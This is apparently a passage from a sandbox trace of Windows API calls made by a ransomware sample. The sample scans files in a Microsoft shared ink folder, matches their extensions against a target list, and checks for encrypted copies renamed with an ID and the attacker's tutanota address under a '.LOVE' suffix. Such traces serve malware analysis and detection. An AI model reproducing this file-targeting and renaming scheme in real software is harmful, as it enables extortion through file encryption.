[0198.434] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0198.434] lstrlenW (lpString=".dbf") returned 4 [0198.434] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0198.434] lstrlenW (lpString=".1cd") returned 4 [0198.434] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0198.434] lstrlenW (lpString=".jpg") returned 4 [0198.434] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0198.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0198.435] lstrlenW (lpString=".doc") returned 4 [0198.435] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.435] lstrlenW (lpString=".docx") returned 5 [0198.435] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0198.435] lstrlenW (lpString=".pdf") returned 4 [0198.435] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.435] lstrlenW (lpString=".xls") returned 4 [0198.435] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.435] lstrlenW (lpString=".xlsx") returned 5 [0198.435] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0198.435] lstrlenW (lpString=".ppt") returned 4 [0198.435] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0198.435] lstrlenW (lpString=".zip") returned 4 [0198.435] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.435] lstrlenW (lpString=".rar") returned 4 [0198.435] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.435] lstrlenW (lpString=".bz2") returned 4 [0198.435] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.435] lstrlenW (lpString=".7z") returned 3 [0198.435] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0198.435] lstrlenW (lpString=".dbf") returned 4 [0198.435] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0198.435] lstrlenW (lpString=".1cd") returned 4 [0198.435] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0198.435] lstrlenW (lpString=".jpg") returned 4 [0198.435] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.436] lstrcmpiW (lpString1=".avi", lpString2=".LOVE") returned -1 [0198.436] lstrlenW (lpString="boxed-join.avi") returned 14 [0198.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0198.550] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=46622) returned 1 [0198.550] CloseHandle (hObject=0x2f0) returned 1 [0198.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0198.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.550] lstrlenW (lpString=".doc") returned 4 [0198.550] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.550] lstrlenW (lpString=".docx") returned 5 [0198.550] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0198.550] lstrlenW (lpString=".pdf") returned 4 [0198.550] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.550] lstrlenW (lpString=".xls") returned 4 [0198.550] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.550] lstrlenW (lpString=".xlsx") returned 5 [0198.550] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0198.550] lstrlenW (lpString=".ppt") returned 4 [0198.550] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.550] lstrlenW (lpString=".zip") returned 4 [0198.550] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.550] lstrlenW (lpString=".rar") returned 4 [0198.550] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.550] lstrlenW (lpString=".bz2") returned 4 [0198.550] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.551] lstrlenW (lpString=".7z") returned 3 [0198.551] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.551] lstrlenW (lpString=".dbf") returned 4 [0198.551] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.551] lstrlenW (lpString=".1cd") returned 4 [0198.551] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.551] lstrlenW (lpString=".jpg") returned 4 [0198.551] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.551] lstrlenW (lpString=".doc") returned 4 [0198.551] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.551] lstrlenW (lpString=".docx") returned 5 [0198.551] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0198.551] lstrlenW (lpString=".pdf") returned 4 [0198.551] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.551] lstrlenW (lpString=".xls") returned 4 [0198.551] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.551] lstrlenW (lpString=".xlsx") returned 5 [0198.551] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0198.551] lstrlenW (lpString=".ppt") returned 4 [0198.551] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.551] lstrlenW (lpString=".zip") returned 4 [0198.551] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.551] lstrlenW (lpString=".rar") returned 4 [0198.551] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.551] lstrlenW (lpString=".bz2") returned 4 [0198.551] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.551] lstrlenW (lpString=".7z") returned 3 [0198.551] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.551] lstrlenW (lpString=".dbf") returned 4 [0198.552] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.552] lstrlenW (lpString=".1cd") returned 4 [0198.552] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.552] lstrlenW (lpString=".jpg") returned 4 [0198.552] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.552] lstrcmpiW (lpString1=".avi", lpString2=".LOVE") returned -1 [0198.552] lstrlenW (lpString="split.avi") returned 9 [0198.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0198.859] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=181964) returned 1 [0198.859] CloseHandle (hObject=0x338) returned 1 [0198.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0198.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0198.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0198.860] lstrlenW (lpString=".doc") returned 4 [0198.860] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.860] lstrlenW (lpString=".docx") returned 5 [0198.860] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0198.860] lstrlenW (lpString=".pdf") returned 4 [0198.860] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.860] lstrlenW (lpString=".xls") returned 4 [0198.860] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.860] lstrlenW (lpString=".xlsx") returned 5 [0198.860] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0198.860] lstrlenW (lpString=".ppt") returned 4 [0198.860] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0198.860] lstrlenW (lpString=".zip") returned 4 [0198.860] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.860] lstrlenW (lpString=".rar") returned 4 [0198.860] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.860] lstrlenW (lpString=".bz2") returned 4 [0198.860] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.860] lstrlenW (lpString=".7z") returned 3 [0198.860] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0198.861] lstrlenW (lpString=".dbf") returned 4 [0198.861] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0198.861] lstrlenW (lpString=".1cd") returned 4 [0198.861] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0198.861] lstrlenW (lpString=".jpg") returned 4 [0198.861] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0198.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0198.861] lstrlenW (lpString=".doc") returned 4 [0198.861] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.861] lstrlenW (lpString=".docx") returned 5 [0198.861] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0198.861] lstrlenW (lpString=".pdf") returned 4 [0198.861] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.861] lstrlenW (lpString=".xls") returned 4 [0198.861] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.861] lstrlenW (lpString=".xlsx") returned 5 [0198.861] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0198.861] lstrlenW (lpString=".ppt") returned 4 [0198.861] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0198.861] lstrlenW (lpString=".zip") returned 4 [0198.861] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.861] lstrlenW (lpString=".rar") returned 4 [0198.861] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.861] lstrlenW (lpString=".bz2") returned 4 [0198.861] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.862] lstrlenW (lpString=".7z") returned 3 [0198.862] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0198.862] lstrlenW (lpString=".dbf") returned 4 [0198.862] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0198.862] lstrlenW (lpString=".1cd") returned 4 [0198.862] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0198.862] lstrlenW (lpString=".jpg") returned 4 [0198.862] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.862] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0198.862] lstrlenW (lpString="auxpad.xml") returned 10 [0198.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0199.182] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=212) returned 1 [0199.182] CloseHandle (hObject=0x328) returned 1 [0199.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0199.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0199.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.182] lstrlenW (lpString=".doc") returned 4 [0199.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.182] lstrlenW (lpString=".docx") returned 5 [0199.182] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0199.182] lstrlenW (lpString=".pdf") returned 4 [0199.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.182] lstrlenW (lpString=".xls") returned 4 [0199.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.182] lstrlenW (lpString=".xlsx") returned 5 [0199.182] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0199.182] lstrlenW (lpString=".ppt") returned 4 [0199.183] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.183] lstrlenW (lpString=".zip") returned 4 [0199.183] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.183] lstrlenW (lpString=".rar") returned 4 [0199.183] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.183] lstrlenW (lpString=".bz2") returned 4 [0199.183] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.183] lstrlenW (lpString=".7z") returned 3 [0199.183] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.183] lstrlenW (lpString=".dbf") returned 4 [0199.183] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.183] lstrlenW (lpString=".1cd") returned 4 [0199.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.183] lstrlenW (lpString=".jpg") returned 4 [0199.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.183] lstrlenW (lpString=".doc") returned 4 [0199.183] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.183] lstrlenW (lpString=".docx") returned 5 [0199.183] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0199.183] lstrlenW (lpString=".pdf") returned 4 [0199.183] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.183] lstrlenW (lpString=".xls") returned 4 [0199.183] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.183] lstrlenW (lpString=".xlsx") returned 5 [0199.183] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0199.183] lstrlenW (lpString=".ppt") returned 4 [0199.183] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.183] lstrlenW (lpString=".zip") returned 4 [0199.184] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.184] lstrlenW (lpString=".rar") returned 4 [0199.184] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.184] lstrlenW (lpString=".bz2") returned 4 [0199.184] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.184] lstrlenW (lpString=".7z") returned 3 [0199.184] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.184] lstrlenW (lpString=".dbf") returned 4 [0199.184] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.184] lstrlenW (lpString=".1cd") returned 4 [0199.184] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.184] lstrlenW (lpString=".jpg") returned 4 [0199.184] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.184] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0199.184] lstrlenW (lpString="kor-kor.xml") returned 11 [0199.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0200.182] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=392) returned 1 [0200.182] CloseHandle (hObject=0x2d8) returned 1 [0200.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0200.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0200.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0200.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0200.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0200.182] lstrlenW (lpString=".doc") returned 4 [0200.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.182] lstrlenW (lpString=".docx") returned 5 [0200.182] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0200.182] lstrlenW (lpString=".pdf") returned 4 [0200.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.182] lstrlenW (lpString=".xls") returned 4 [0200.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.182] lstrlenW (lpString=".xlsx") returned 5 [0200.182] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0200.182] lstrlenW (lpString=".ppt") returned 4 [0200.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0200.182] lstrlenW (lpString=".zip") returned 4 [0200.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.182] lstrlenW (lpString=".rar") returned 4 [0200.183] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.183] lstrlenW (lpString=".bz2") returned 4 [0200.183] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.183] lstrlenW (lpString=".7z") returned 3 [0200.183] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0200.183] lstrlenW (lpString=".dbf") returned 4 [0200.183] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0200.183] lstrlenW (lpString=".1cd") returned 4 [0200.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0200.183] lstrlenW (lpString=".jpg") returned 4 [0200.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0200.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0200.183] lstrlenW (lpString=".doc") returned 4 [0200.183] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.183] lstrlenW (lpString=".docx") returned 5 [0200.183] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0200.183] lstrlenW (lpString=".pdf") returned 4 [0200.183] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.183] lstrlenW (lpString=".xls") returned 4 [0200.183] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.183] lstrlenW (lpString=".xlsx") returned 5 [0200.183] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0200.183] lstrlenW (lpString=".ppt") returned 4 [0200.183] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0200.183] lstrlenW (lpString=".zip") returned 4 [0200.183] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.184] lstrlenW (lpString=".rar") returned 4 [0200.184] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.184] lstrlenW (lpString=".bz2") returned 4 [0200.184] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.184] lstrlenW (lpString=".7z") returned 3 [0200.184] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0200.184] lstrlenW (lpString=".dbf") returned 4 [0200.184] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0200.184] lstrlenW (lpString=".1cd") returned 4 [0200.184] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 